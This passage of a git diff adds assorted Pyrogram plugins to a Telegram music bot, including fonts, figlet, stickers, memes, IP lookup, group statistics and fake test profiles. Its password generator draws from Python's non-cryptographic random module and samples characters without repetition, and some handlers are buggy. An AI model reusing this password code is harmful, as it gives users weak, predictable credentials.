INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE.*** +""" + +import requests +from pyrogram import Client +from pyrogram import filters +from ChampuXMusic import app + + +random_user_api_url = 'https://randomuser.me/api/' + + +@app.on_message(filters.command("fake", prefixes="/")) +def generate_fake_user_by_country(client, message): + country_name = message.text.split("/fake ", maxsplit=1)[1] + + # Call the RandomUser API to get fake user information for the specified country + response = requests.get(f'{random_user_api_url}?nat={country_name}') + + if response.status_code == 200: + user_info = response.json()['results'][0] + # Extract user details + first_name = user_info['name']['first'] + last_name = user_info['name']['last'] + email = user_info['email'] + country = user_info['location']['country'] + state = user_info['location']['state'] + city = user_info['location']['city'] + street = user_info['location']['street']['name'] + zip_code = user_info['location']['postcode'] + # Reply with the generated fake user information for the specified country + message.reply_text(f"𝗡𝗔𝗠𝗘➪ {first_name} {last_name}\n\n𝗘𝗠𝗔𝗜𝗟➪ {email}\n\n𝗖𝗢𝗨𝗡𝗧𝗥𝗬➪ {country}\n\n𝗦𝗧𝗔𝗧𝗘➪ {state}\n\n𝗖𝗜𝗧𝗬: {city}\n\n𝗔𝗗𝗗𝗥𝗘𝗦𝗦:➪{street}\n\n𝗭𝗜𝗣 𝗖𝗢𝗗𝗘➪ {zip_code}") + else: + message.reply_text(f"Failed to generate fake user information for {country_name}.") diff --git a/ChampuXMusic/plugins/TheChampu/figlet.py b/ChampuXMusic/plugins/TheChampu/figlet.py new file mode 100644 index 0000000..63a51ef --- /dev/null +++ b/ChampuXMusic/plugins/TheChampu/figlet.py @@ -0,0 +1,35 @@ +from pyrogram import filters +import asyncio +import pyfiglet +from random import choice +from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message, CallbackQuery +from pyrogram.handlers import MessageHandler +from ChampuXMusic import app +def figle(text): + x = pyfiglet.FigletFont.getFonts() + font = choice(x) + figled = str(pyfiglet.figlet_format(text,font=font)) + keyboard = InlineKeyboardMarkup([[InlineKeyboardButton(text="ᴄʜᴀɴɢᴇ", callback_data="figlet"),InlineKeyboardButton(text="ᴄʟᴏsᴇ", callback_data="close_reply")]]) + return figled, keyboard + +@app.on_message(filters.command("figlet")) +async def echo(bot, message): + global text + try: + text = message.text.split(' ',1)[1] + except IndexError: + return await message.reply_text("Example:\n\n`/figlet Champu `") + kul_text, keyboard = figle(text) + await message.reply_text(f"ʜᴇʀᴇ ɪs ʏᴏᴜʀ ғɪɢʟᴇᴛ :\n
{kul_text}
", quote=True, reply_markup=keyboard) + +@app.on_callback_query(filters.regex("figlet")) +async def figlet_handler(Client, query: CallbackQuery): + try: + kul_text, keyboard = figle(text) + await query.message.edit_text(f"ʜᴇʀᴇ ɪs ʏᴏᴜʀ ғɪɢʟᴇᴛ :\n
{kul_text}
", reply_markup=keyboard) + except Exception as e : + await message.reply(e) +__mod_name__ = "Fɪɢʟᴇᴛ" +__help__=""" +❍ /figlet*:* ᴍᴀᴋᴇs ғɪɢʟᴇᴛ ᴏғ ᴛʜᴇ ɢɪᴠᴇɴ ᴛᴇxᴛ +Example:\n\n`/figlet Champu `""" \ No newline at end of file diff --git a/ChampuXMusic/plugins/TheChampu/fonts.py b/ChampuXMusic/plugins/TheChampu/fonts.py new file mode 100644 index 0000000..c441339 --- /dev/null +++ b/ChampuXMusic/plugins/TheChampu/fonts.py @@ -0,0 +1,202 @@ +from pyrogram import filters +from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup + +from ChampuXMusic.utils.Champu_font import Fonts +from ChampuXMusic import app + +@app.on_message(filters.command(["font", "fonts"])) +async def style_buttons(c, m, cb=False): + text = m.text.split(' ',1)[1] + buttons = [ + [ + InlineKeyboardButton("𝚃𝚢𝚙𝚎𝚠𝚛𝚒𝚝𝚎𝚛", callback_data="style+typewriter"), + InlineKeyboardButton("𝕆𝕦𝕥𝕝𝕚𝕟𝕖", callback_data="style+outline"), + InlineKeyboardButton("𝐒𝐞𝐫𝐢𝐟", callback_data="style+serif"), + ], + [ + InlineKeyboardButton("𝑺𝒆𝒓𝒊𝒇", callback_data="style+bold_cool"), + InlineKeyboardButton("𝑆𝑒𝑟𝑖𝑓", callback_data="style+cool"), + InlineKeyboardButton("Sᴍᴀʟʟ Cᴀᴘs", callback_data="style+small_cap"), + ], + [ + InlineKeyboardButton("𝓈𝒸𝓇𝒾𝓅𝓉", callback_data="style+script"), + InlineKeyboardButton("𝓼𝓬𝓻𝓲𝓹𝓽", callback_data="style+script_bolt"), + InlineKeyboardButton("ᵗⁱⁿʸ", callback_data="style+tiny"), + ], + [ + InlineKeyboardButton("ᑕOᗰIᑕ", callback_data="style+comic"), + InlineKeyboardButton("𝗦𝗮𝗻𝘀", callback_data="style+sans"), + InlineKeyboardButton("𝙎𝙖𝙣𝙨", callback_data="style+slant_sans"), + ], + [ + InlineKeyboardButton("𝘚𝘢𝘯𝘴", callback_data="style+slant"), + InlineKeyboardButton("𝖲𝖺𝗇𝗌", callback_data="style+sim"), + InlineKeyboardButton("Ⓒ︎Ⓘ︎Ⓡ︎Ⓒ︎Ⓛ︎Ⓔ︎Ⓢ︎", callback_data="style+circles"), + ], + [ + InlineKeyboardButton("🅒︎🅘︎🅡︎🅒︎🅛︎🅔︎🅢︎", callback_data="style+circle_dark"), + InlineKeyboardButton("𝔊𝔬𝔱𝔥𝔦𝔠", callback_data="style+gothic"), + InlineKeyboardButton("𝕲𝖔𝖙𝖍𝖎𝖈", callback_data="style+gothic_bolt"), + ], + [ + InlineKeyboardButton("C͜͡l͜͡o͜͡u͜͡d͜͡s͜͡", callback_data="style+cloud"), + InlineKeyboardButton("H̆̈ă̈p̆̈p̆̈y̆̈", callback_data="style+happy"), + InlineKeyboardButton("S̑̈ȃ̈d̑̈", callback_data="style+sad"), + ], + [InlineKeyboardButton ("ᴄʟᴏsᴇ",callback_data="close_reply"),InlineKeyboardButton ("ɴᴇxᴛ ➻", callback_data="nxt")], + ] + if not cb: + await m.reply_text( + f"`{text}`", reply_markup=InlineKeyboardMarkup(buttons), quote=True + ) + else: + await m.answer() + await m.message.edit_reply_markup(InlineKeyboardMarkup(buttons)) + + +@app.on_callback_query(filters.regex("^nxt")) +async def nxt(c, m): + if m.data == "nxt": + buttons = [ + [ + InlineKeyboardButton("🇸 🇵 🇪 🇨 🇮 🇦 🇱 ", callback_data="style+special"), + InlineKeyboardButton("🅂🅀🅄🄰🅁🄴🅂", callback_data="style+squares"), + InlineKeyboardButton( + "🆂︎🆀︎🆄︎🅰︎🆁︎🅴︎🆂︎", callback_data="style+squares_bold" + ), + ], + [ + InlineKeyboardButton("ꪖꪀᦔꪖꪶꪊᥴ𝓲ꪖ", callback_data="style+andalucia"), + InlineKeyboardButton("爪卂几ᘜ卂", callback_data="style+manga"), + InlineKeyboardButton("S̾t̾i̾n̾k̾y̾", callback_data="style+stinky"), + ], + [ + InlineKeyboardButton( + "B̥ͦu̥ͦb̥ͦb̥ͦl̥ͦe̥ͦs̥ͦ", callback_data="style+bubbles" + ), + InlineKeyboardButton( + "U͟n͟d͟e͟r͟l͟i͟n͟e͟", callback_data="style+underline" + ), + InlineKeyboardButton("꒒ꍏꀷꌩꌃꀎꁅ", callback_data="style+ladybug"), + ], + [ + InlineKeyboardButton("R҉a҉y҉s҉", callback_data="style+rays"), + InlineKeyboardButton("B҈i҈r҈d҈s҈", callback_data="style+birds"), + InlineKeyboardButton("S̸l̸a̸s̸h̸", callback_data="style+slash"), + ], + [ + InlineKeyboardButton("s⃠t⃠o⃠p⃠", callback_data="style+stop"), + InlineKeyboardButton( + "S̺͆k̺͆y̺͆l̺͆i̺͆n̺͆e̺͆", callback_data="style+skyline" + ), + InlineKeyboardButton("A͎r͎r͎o͎w͎s͎", callback_data="style+arrows"), + ], + [ + InlineKeyboardButton("ዪሀክቿነ", callback_data="style+qvnes"), + InlineKeyboardButton("S̶t̶r̶i̶k̶e̶", callback_data="style+strike"), + InlineKeyboardButton("F༙r༙o༙z༙e༙n༙", callback_data="style+frozen"), + ], + [InlineKeyboardButton ("ᴄʟᴏsᴇ",callback_data="close_reply"),InlineKeyboardButton ("ʙᴀᴄᴋ", callback_data="nxt+0")], + ] + await m.answer() + await m.message.edit_reply_markup(InlineKeyboardMarkup(buttons)) + else: + await style_buttons(c, m, cb=True) + + +@app.on_callback_query(filters.regex("^style")) +async def style(c, m): + await m.answer() + cmd,style = m.data.split('+') + if style == "typewriter": + cls = Fonts.typewriter + if style == "outline": + cls = Fonts.outline + if style == "serif": + cls = Fonts.serief + if style == "bold_cool": + cls = Fonts.bold_cool + if style == "cool": + cls = Fonts.cool + if style == "small_cap": + cls = Fonts.smallcap + if style == "script": + cls = Fonts.script + if style == "script_bolt": + cls = Fonts.bold_script + if style == "tiny": + cls = Fonts.tiny + if style == "comic": + cls = Fonts.comic + if style == "sans": + cls = Fonts.san + if style == "slant_sans": + cls = Fonts.slant_san + if style == "slant": + cls = Fonts.slant + if style == "sim": + cls = Fonts.sim + if style == "circles": + cls = Fonts.circles + if style == "circle_dark": + cls = Fonts.dark_circle + if style == "gothic": + cls = Fonts.gothic + if style == "gothic_bolt": + cls = Fonts.bold_gothic + if style == "cloud": + cls = Fonts.cloud + if style == "happy": + cls = Fonts.happy + if style == "sad": + cls = Fonts.sad + if style == "special": + cls = Fonts.special + if style == "squares": + cls = Fonts.square + if style == "squares_bold": + cls = Fonts.dark_square + if style == "andalucia": + cls = Fonts.andalucia + if style == "manga": + cls = Fonts.manga + if style == "stinky": + cls = Fonts.stinky + if style == "bubbles": + cls = Fonts.bubbles + if style == "underline": + cls = Fonts.underline + if style == "ladybug": + cls = Fonts.ladybug + if style == "rays": + cls = Fonts.rays + if style == "birds": + cls = Fonts.birds + if style == "slash": + cls = Fonts.slash + if style == "stop": + cls = Fonts.stop + if style == "skyline": + cls = Fonts.skyline + if style == "arrows": + cls = Fonts.arrows + if style == "qvnes": + cls = Fonts.rvnes + if style == "strike": + cls = Fonts.strike + if style == "frozen": + cls = Fonts.frozen + #text = m.text.split(' ',1)[1] + new_text = cls(m.message.reply_to_message.text.split(" ",1)[1]) + try: + await m.message.edit_text(new_text, reply_markup=m.message.reply_markup) + except: + pass + + +__help__ = """ + + ❍ /fonts *:* ᴄᴏɴᴠᴇʀᴛs sɪᴍᴩʟᴇ ᴛᴇxᴛ ᴛᴏ ʙᴇᴀᴜᴛɪғᴜʟ ᴛᴇxᴛ ʙʏ ᴄʜᴀɴɢɪɴɢ ɪᴛ's ғᴏɴᴛ. + """ + +__mod_name__ = "Fᴏɴᴛ" diff --git a/ChampuXMusic/plugins/TheChampu/goodnight.py b/ChampuXMusic/plugins/TheChampu/goodnight.py new file mode 100644 index 0000000..956ca65 --- /dev/null +++ b/ChampuXMusic/plugins/TheChampu/goodnight.py @@ -0,0 +1,42 @@ +import re +from dotenv import load_dotenv +from pyrogram import filters +import random +from pyrogram.types import Message +from pyrogram import Client, filters +from ChampuXMusic import app + + + +# "/gn" command ka handler +@app.on_message(filters.command("oodnight", prefixes="g")) +def goodnight_command_handler(client: Client, message: Message): + # Randomly decide whether to send a sticker or an emoji + send_sticker = random.choice([True, False]) + + # Send a sticker or an emoji based on the random choice + if send_sticker: + client.send_sticker(message.chat.id, get_random_sticker()) + else: + client.send_message(message.chat.id, get_random_emoji()) + +# Function to get a random sticker +def get_random_sticker(): + stickers = [ + "CAACAgQAAx0Ce9_hCAACaEVlwn7HeZhgwyVfKHc3WUGC_447IAACLgwAAkQwKVPtub8VAR018x4E", + "CAACAgIAAx0Ce9_hCAACaEplwn7dvj7G0-a1v3wlbN281RMX2QACUgwAAligOUoi7DhLVTsNsh4E", + "CAACAgIAAx0Ce9_hCAACaFBlwn8AAZNB9mOUvz5oAyM7CT-5pjAAAtEKAALa7NhLvbTGyDLbe1IeBA", + "CAACAgUAAx0CcmOuMwACldVlwn9ZHHF2-S-CuMSYabwwtVGC3AACOAkAAoqR2VYDjyK6OOr_Px4E", + "CAACAgIAAx0Ce9_hCAACaFVlwn-fG58GKoEmmZpVovxEj4PodAACfwwAAqozQUrt2xSTf5Ac4h4E", + ] + return random.choice(stickers) + +# Function to get a random emoji +def get_random_emoji(): + emojis = [ + "😴", + "😪", + "💤", + + ] + return random.choice(emojis) diff --git a/ChampuXMusic/plugins/TheChampu/groupdata.py b/ChampuXMusic/plugins/TheChampu/groupdata.py new file mode 100644 index 0000000..45a453c --- /dev/null +++ b/ChampuXMusic/plugins/TheChampu/groupdata.py @@ -0,0 +1,52 @@ +import os +import time +from asyncio import sleep +from pyrogram import Client, filters +from pyrogram import enums, filters + +from ChampuXMusic import app + +@app.on_message(~filters.private & filters.command(["groupdata"]), group=2) +async def instatus(app, message): + start_time = time.perf_counter() + user = await app.get_chat_member(message.chat.id, message.from_user.id) + count = await app.get_chat_members_count(message.chat.id) + if user.status in ( + enums.ChatMemberStatus.ADMINISTRATOR, + enums.ChatMemberStatus.OWNER, + ): + sent_message = await message.reply_text("GETTING INFORMATION...") + deleted_acc = 0 + premium_acc = 0 + banned = 0 + bot = 0 + uncached = 0 + async for ban in app.get_chat_members(message.chat.id, filter=enums.ChatMembersFilter.BANNED): + banned += 1 + async for member in app.get_chat_members(message.chat.id): + user = member.user + if user.is_deleted: + deleted_acc += 1 + elif user.is_bot: + bot += 1 + elif user.is_premium: + premium_acc += 1 + else: + uncached += 1 + end_time = time.perf_counter() + timelog = "{:.2f}".format(end_time - start_time) + await sent_message.edit(f""" +**➖➖➖➖➖➖➖ +➲ NAME : {message.chat.title} ✅ +➲ MEMBERS : [ {count} ]🫂 +➖➖➖➖➖➖➖ +➲ BOTS : {bot}💡 +➲ ZOMBIES : {deleted_acc}🧟 +➲ BANNED : {banned}🚫 +➲ PREMIUM USERS : {premium_acc}🎁 +➖➖➖➖➖➖➖ +TIME TAKEN : {timelog} S**""") + else: + sent_message = await message.reply_text("ONLY ADMINS CAN USE THIS !") + await sleep(5) + await sent_message.delete() diff --git a/ChampuXMusic/plugins/TheChampu/groupinfo.py b/ChampuXMusic/plugins/TheChampu/groupinfo.py new file mode 100644 index 0000000..1d70e60 --- /dev/null +++ b/ChampuXMusic/plugins/TheChampu/groupinfo.py @@ -0,0 +1,78 @@ +from pyrogram import Client, filters +from pyrogram.types import Message +from ChampuXMusic import app + +@app.on_message(filters.command("groupinfo", prefixes="/")) +async def get_group_status(_, message: Message): + if len(message.command) != 2: + await message.reply("Please provide a group username. Example: `/groupinfo YourGroupUsername`") + return + + group_username = message.command[1] + + try: + group = await app.get_chat(group_username) + except Exception as e: + await message.reply(f"Error: {e}") + return + + total_members = await app.get_chat_members_count(group.id) + group_description = group.description + premium_acc = banned = deleted_acc = bot = 0 # You should replace these variables with actual counts. + + response_text = ( + f"➖➖➖➖➖➖➖\n" + f"➲ GROUP NAME : {group.title} ✅\n" + f"➲ GROUP ID : {group.id}\n" + f"➲ TOTAL MEMBERS : {total_members}\n" + f"➲ DESCRIPTION : {group_description or 'N/A'}\n" + f"➲ USERNAME : @{group_username}\n" + + f"➖➖➖➖➖➖➖" + ) + + await message.reply(response_text) + + + + + + +# Command handler to get group status +@app.on_message(filters.command("status") & filters.group) +def group_status(client, message): + chat = message.chat # Chat where the command was sent + status_text = f"Group ID: {chat.id}\n" \ + f"Title: {chat.title}\n" \ + f"Type: {chat.type}\n" + + if chat.username: # Not all groups have a username + status_text += f"Username: @{chat.username}" + else: + status_text += "Username: None" + + message.reply_text(status_text) + + +######### + +""" *** +──────────────────────────────────────────────────────────────────────── +─████████████────██████████████──████████──████████──████████──████████─ +─██░░░░░░░░████──██░░░░░░░░░░██──██░░░░██──██░░░░██──██░░░░██──██░░░░██─ +─██░░████░░░░██──██░░██████░░██──████░░██──██░░████──████░░██──██░░████─ +─██░░██──██░░██──██░░██──██░░██────██░░░░██░░░░██──────██░░░░██░░░░██─── +─██░░██──██░░██──██░░██████░░██────████░░░░░░████──────████░░░░░░████─── +─██░░██──██░░██──██░░░░░░░░░░██──────██░░░░░░██──────────██░░░░░░██───── +─██░░██──██░░██──██░░██████░░██────████░░░░░░████──────████░░░░░░████─── +─██░░██──██░░██──██░░██──██░░██────██░░░░██░░░░██──────██░░░░██░░░░██─── +─██░░████░░░░██──██░░██──██░░██──████░░██──██░░████──████░░██──██░░████─ +─██░░░░░░░░████──██░░██──██░░██──██░░░░██──██░░░░██──██░░░░██──██░░░░██─ +─████████████────██████──██████──████████──████████──████████──████████─ +────────────────────────────────────────────────────────────────────────**""" + + + + +#### + diff --git a/ChampuXMusic/plugins/TheChampu/hastag.py b/ChampuXMusic/plugins/TheChampu/hastag.py new file mode 100644 index 0000000..d2cccda --- /dev/null +++ b/ChampuXMusic/plugins/TheChampu/hastag.py @@ -0,0 +1,27 @@ +import requests +from bs4 import BeautifulSoup as BSP +from ChampuXMusic import app as Champu +from pyrogram import filters +url = "https://all-hashtag.com/library/contents/ajax_generator.php" + +@Champu.on_message(filters.command("hastag")) +async def hastag(bot, message): + global content + try: + text = message.text.split(' ',1)[1] + data = dict(keyword=text, filter="top") + + res = requests.post(url, data).text + + content = BSP(res, 'html.parser').find("div", {"class":"copy-hashtags"}).string + except IndexError: + return await message.reply_text("Example:\n\n/hastag python") + + + await message.reply_text(f"ʜᴇʀᴇ ɪs ʏᴏᴜʀ ʜᴀsᴛᴀɢ :\n
{content}
", quote=True) + +mod_name = "Hᴀsʜᴛᴀɢ" +help= """ +Yᴏᴜ ᴄᴀɴ ᴜsᴇ ᴛʜɪs ʜᴀsʜᴛᴀɢ ɢᴇɴᴇʀᴀᴛᴏʀ ᴡʜɪᴄʜ ᴡɪʟʟ ɢɪᴠᴇ ʏᴏᴜ ᴛʜᴇ ᴛᴏᴘ 𝟹𝟶 ᴀɴᴅ ᴍᴏʀᴇ ʜᴀsʜᴛᴀɢs ʙᴀsᴇᴅ ᴏғғ ᴏғ ᴏɴᴇ ᴋᴇʏᴡᴏʀᴅ sᴇʟᴇᴄᴛɪᴏɴ. +° /hastag enter word to generate hastag. +°Exᴀᴍᴘʟᴇ: /hastag python """ diff --git a/ChampuXMusic/plugins/TheChampu/hexacode.py b/ChampuXMusic/plugins/TheChampu/hexacode.py new file mode 100644 index 0000000..5a6a928 --- /dev/null +++ b/ChampuXMusic/plugins/TheChampu/hexacode.py @@ -0,0 +1,33 @@ +from pyrogram import Client, filters +from ChampuXMusic import app +from config import BOT_USERNAME + + +def hex_to_text(hex_string): + try: + text = bytes.fromhex(hex_string).decode('utf-8') + return text + except Exception as e: + return f"Error decoding hex: {str(e)}" + + +def text_to_hex(text): + hex_representation = ' '.join(format(ord(char), 'x') for char in text) + return hex_representation + + +# TheChampu & TheChampu........................... + +@app.on_message(filters.command("code")) +def convert_text(_, message): + if len(message.command) > 1: + input_text = " ".join(message.command[1:]) + + hex_representation = text_to_hex(input_text) + decoded_text = hex_to_text(input_text) + + response_text = f"𝗜𝗻𝗽𝘂𝘁 𝗧𝗲𝘅𝘁➪\n {input_text}\n\n𝗛𝗲𝘅 𝗥𝗲𝗽𝗿𝗲𝘀𝗲𝗻𝘁𝗮𝘁𝗶𝗼𝗻➪\n {hex_representation}\n\n𝗗𝗲𝗰𝗼𝗱𝗲𝗱 𝗧𝗲𝘅𝘁➪\n {decoded_text}\n\n\n𝗕𝗬 ➪@{BOT_USERNAME}" + + message.reply_text(response_text) + else: + message.reply_text("Please provide text after the /code command.") diff --git a/ChampuXMusic/plugins/TheChampu/images.py b/ChampuXMusic/plugins/TheChampu/images.py new file mode 100644 index 0000000..6473ac8 --- /dev/null +++ b/ChampuXMusic/plugins/TheChampu/images.py @@ -0,0 +1,38 @@ +import requests +from requests import get +from ChampuXMusic import app +from pyrogram import filters +from pyrogram.types import InputMediaPhoto + +@app.on_message(filters.command(["image"], prefixes=["/", "!", "%", ",", "", ".", "@", "#"])) +async def pinterest(_, message): + chat_id = message.chat.id + + try: + query= message.text.split(None,1)[1] + except: + return await message.reply("**ɢɪᴠᴇ ɪᴍᴀɢᴇ ɴᴀᴍᴇ ғᴏʀ sᴇᴀʀᴄʜ 🔍**") + + images = get(f"https://pinterest-api-one.vercel.app/?q={query}").json() + + media_group = [] + count = 0 + + msg = await message.reply(f"sᴄʀᴀᴘɪɴɢ ɪᴍᴀɢᴇs ғʀᴏᴍ ᴘɪɴᴛᴇʀᴇᴛs...") + for url in images["images"][:6]: + + media_group.append(InputMediaPhoto(media=url)) + count += 1 + await msg.edit(f"=> ᴏᴡᴏ sᴄʀᴀᴘᴇᴅ ɪᴍᴀɢᴇs {count}") + + try: + + await app.send_media_group( + chat_id=chat_id, + media=media_group, + reply_to_message_id=message.id) + return await msg.delete() + + except Exception as e: + await msg.delete() + return await message.reply(f"ᴇʀʀᴏʀ : {e}") diff --git a/ChampuXMusic/plugins/TheChampu/ip.py b/ChampuXMusic/plugins/TheChampu/ip.py new file mode 100644 index 0000000..247da58 --- /dev/null +++ b/ChampuXMusic/plugins/TheChampu/ip.py @@ -0,0 +1,31 @@ +from pyrogram import Client, filters +import requests +from ChampuXMusic import app + +############..... + +@app.on_message(filters.command(["ip"])) +def ip_info(_, message): + if len(message.command) != 2: + message.reply_text("Please provide an IP address after the command. Example: /ip 8.8.8.8") + return + + ip_address = message.command[1] + info = get_ip_info(ip_address) + + if info: + message.reply_text(info) + else: + message.reply_text("Unable to fetch information for the provided IP address.") + + +def get_ip_info(ip_address): + api_url = f"https://api.safone.dev/ipinfo?ip={ip_address}" + try: + response = requests.get(api_url) + if response.status_code == 200: + data = response.json() + info = f"IP: {data['ip']}\nCountry: {data['country']}\nCity: {data['city']}\nISP: {data['isp']}" + return info + except Exception as e: + print(f"Error fetching IP information: {e}") diff --git a/ChampuXMusic/plugins/TheChampu/kangsticker.py b/ChampuXMusic/plugins/TheChampu/kangsticker.py new file mode 100644 index 0000000..aab71fd --- /dev/null +++ b/ChampuXMusic/plugins/TheChampu/kangsticker.py @@ -0,0 +1,190 @@ + +import imghdr +import os +from asyncio import gather +from traceback import format_exc + +from pyrogram import filters +from pyrogram.errors import ( + PeerIdInvalid, + ShortnameOccupyFailed, + StickerEmojiInvalid, + StickerPngDimensions, + StickerPngNopng, + UserIsBlocked, +) +from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message +from ChampuXMusic import app +from config import BOT_USERNAME +from ChampuXMusic.utils.errors import capture_err + +from ChampuXMusic.utils.files import ( + get_document_from_file_id, + resize_file_to_sticker_size, + upload_document, +) + +from ChampuXMusic.utils.stickerset import ( + add_sticker_to_set, + create_sticker, + create_sticker_set, + get_sticker_set_by_name, +) + +# ----------- + +MAX_STICKERS = ( + 120 # would be better if we could fetch this limit directly from telegram +) +SUPPORTED_TYPES = ["jpeg", "png", "webp"] +# ------------------------------------------ +@app.on_message(filters.command("get_sticker")) +@capture_err +async def sticker_image(_, message: Message): + r = message.reply_to_message + + if not r: + return await message.reply("Reply to a sticker.") + + if not r.sticker: + return await message.reply("Reply to a sticker.") + + m = await message.reply("Sending..") + f = await r.download(f"{r.sticker.file_unique_id}.png") + + await gather( + *[ + message.reply_photo(f), + message.reply_document(f), + ] + ) + + await m.delete() + os.remove(f) +#---------------- +@app.on_message(filters.command("kang")) +@capture_err +async def kang(client, message: Message): + if not message.reply_to_message: + return await message.reply_text("Reply to a sticker/image to kang it.") + if not message.from_user: + return await message.reply_text( + "You are anon admin, kang stickers in my pm." + ) + msg = await message.reply_text("Kanging Sticker..") + + # Find the proper emoji + args = message.text.split() + if len(args) > 1: + sticker_emoji = str(args[1]) + elif ( + message.reply_to_message.sticker + and message.reply_to_message.sticker.emoji + ): + sticker_emoji = message.reply_to_message.sticker.emoji + else: + sticker_emoji = "🤔" + + # Get the corresponding fileid, resize the file if necessary + doc = message.reply_to_message.photo or message.reply_to_message.document + try: + if message.reply_to_message.sticker: + sticker = await create_sticker( + await get_document_from_file_id( + message.reply_to_message.sticker.file_id + ), + sticker_emoji, + ) + elif doc: + if doc.file_size > 10000000: + return await msg.edit("File size too large.") + + temp_file_path = await app.download_media(doc) + image_type = imghdr.what(temp_file_path) + if image_type not in SUPPORTED_TYPES: + return await msg.edit( + "Format not supported! ({})".format(image_type) + ) + try: + temp_file_path = await resize_file_to_sticker_size( + temp_file_path + ) + except OSError as e: + await msg.edit_text("Something wrong happened.") + raise Exception( + f"Something went wrong while resizing the sticker (at {temp_file_path}); {e}" + ) + sticker = await create_sticker( + await upload_document(client, temp_file_path, message.chat.id), + sticker_emoji, + ) + if os.path.isfile(temp_file_path): + os.remove(temp_file_path) + else: + return await msg.edit("Nope, can't kang that.") + except ShortnameOccupyFailed: + await message.reply_text("Change Your Name Or Username") + return + + except Exception as e: + await message.reply_text(str(e)) + e = format_exc() + return print(e) +#------- + packnum = 0 + packname = "f" + str(message.from_user.id) + "_by_" + BOT_USERNAME + limit = 0 + try: + while True: + # Prevent infinite rules + if limit >= 50: + return await msg.delete() + + stickerset = await get_sticker_set_by_name(client, packname) + if not stickerset: + stickerset = await create_sticker_set( + client, + message.from_user.id, + f"{message.from_user.first_name[:32]}'s kang pack", + packname, + [sticker], + ) + elif stickerset.set.count >= MAX_STICKERS: + packnum += 1 + packname = ( + "f" + + str(packnum) + + "_" + + str(message.from_user.id) + + "_by_" + + BOT_USERNAME + ) + limit += 1 + continue + else: + try: + await add_sticker_to_set(client, stickerset, sticker) + except StickerEmojiInvalid: + return await msg.edit("[ERROR]: INVALID_EMOJI_IN_ARGUMENT") + limit += 1 + break + + await msg.edit( + "Sticker Kanged To [Pack](t.me/addstickers/{})\nEmoji: {}".format( + packname, sticker_emoji + ) + ) + except (PeerIdInvalid, UserIsBlocked): + keyboard = InlineKeyboardMarkup( + [[InlineKeyboardButton(text="Start", url=f"t.me/{BOT_USERNAME}")]] + ) + await msg.edit( + "You Need To Start A Private Chat With Me.", + reply_markup=keyboard, + ) + except StickerPngNopng: + await message.reply_text( + "Stickers must be png files but the provided image was not a png" + ) + except StickerPngDimensions: + await message.reply_text("The sticker png dimensions are invalid.") diff --git a/ChampuXMusic/plugins/TheChampu/love.py b/ChampuXMusic/plugins/TheChampu/love.py new file mode 100644 index 0000000..0d61132 --- /dev/null +++ b/ChampuXMusic/plugins/TheChampu/love.py @@ -0,0 +1,38 @@ +from pyrogram import Client, filters +import random +from ChampuXMusic import app + +def get_random_message(love_percentage): + if love_percentage <= 30: + return random.choice([ + "Love is in the air but needs a little spark.", + "A good start but there's room to grow.", + "It's just the beginning of something beautiful." + ]) + elif love_percentage <= 70: + return random.choice([ + "A strong connection is there. Keep nurturing it.", + "You've got a good chance. Work on it.", + "Love is blossoming, keep going." + ]) + else: + return random.choice([ + "Wow! It's a match made in heaven!", + "Perfect match! Cherish this bond.", + "Destined to be together. Congratulations!" + ]) + +@app.on_message(filters.command("love", prefixes="/")) +def love_command(client, message): + command, *args = message.text.split(" ") + if len(args) >= 2: + name1 = args[0].strip() + name2 = args[1].strip() + + love_percentage = random.randint(10, 100) + love_message = get_random_message(love_percentage) + + response = f"{name1}💕 + {name2}💕 = {love_percentage}%\n\n{love_message}" + else: + response = "Please enter two names after /love command." + app.send_message(message.chat.id, response) diff --git a/ChampuXMusic/plugins/TheChampu/mene.py b/ChampuXMusic/plugins/TheChampu/mene.py new file mode 100644 index 0000000..3fbb85e --- /dev/null +++ b/ChampuXMusic/plugins/TheChampu/mene.py @@ -0,0 +1,31 @@ +from pyrogram import Client, filters +import requests +from ChampuXMusic import app + +# Define a command handler for the /meme command +@app.on_message(filters.command("meme")) +def meme_command(client, message): + # API endpoint for random memes + api_url = "https://meme-api.com/gimme" + + try: + # Make a request to the API + response = requests.get(api_url) + data = response.json() + + # Extract the meme image URL + meme_url = data.get("url") + title = data.get("title") + + # Mention the bot username in the caption + caption = f"{title}\n\nRequest by {message.from_user.mention}\nBot username: @{app.get_me().username}" + + # Send the meme image to the user with the modified caption + message.reply_photo( + photo=meme_url, + caption=caption + ) + + except Exception as e: + print(f"Error fetching meme: {e}") + message.reply_text("Sorry, I couldn't fetch a meme at the moment.") diff --git a/ChampuXMusic/plugins/TheChampu/password.py b/ChampuXMusic/plugins/TheChampu/password.py new file mode 100644 index 0000000..6652000 --- /dev/null +++ b/ChampuXMusic/plugins/TheChampu/password.py @@ -0,0 +1,20 @@ +import random, os +from pyrogram import Client, filters, enums +from ChampuXMusic import app +from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton + + +@app.on_message(filters.command(["genpassword", 'genpw'])) +async def password(bot, update): + message = await update.reply_text(text="Pʀᴏᴄᴇꜱꜱɪɴɢ..") + password = "abcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_+".lower() + if len(update.command) > 1: + qw = update.text.split(" ", 1)[1] + else: + ST = ["5", "7", "6", "9", "10", "12", "14", "8", "13"] + qw = random.choice(ST) + limit = int(qw) + random_value = "".join(random.sample(password, limit)) + txt = f"Lɪᴍɪᴛ: {str(limit)} \nPᴀꜱꜱᴡᴏʀᴅ: {random_value}" + btn = InlineKeyboardMarkup([[InlineKeyboardButton('𝗔𝗗𝗗 𝗠𝗘', url='https://t.me/TheChampuBot?startgroup=true')]]) + await message.edit_text(text=txt, reply_markup=btn, parse_mode=enums.ParseMode.HTML) diff --git a/ChampuXMusic/plugins/TheChampu/population.py b/ChampuXMusic/plugins/TheChampu/population.py new file mode 100644 index 0000000..561a1d0 --- /dev/null +++ 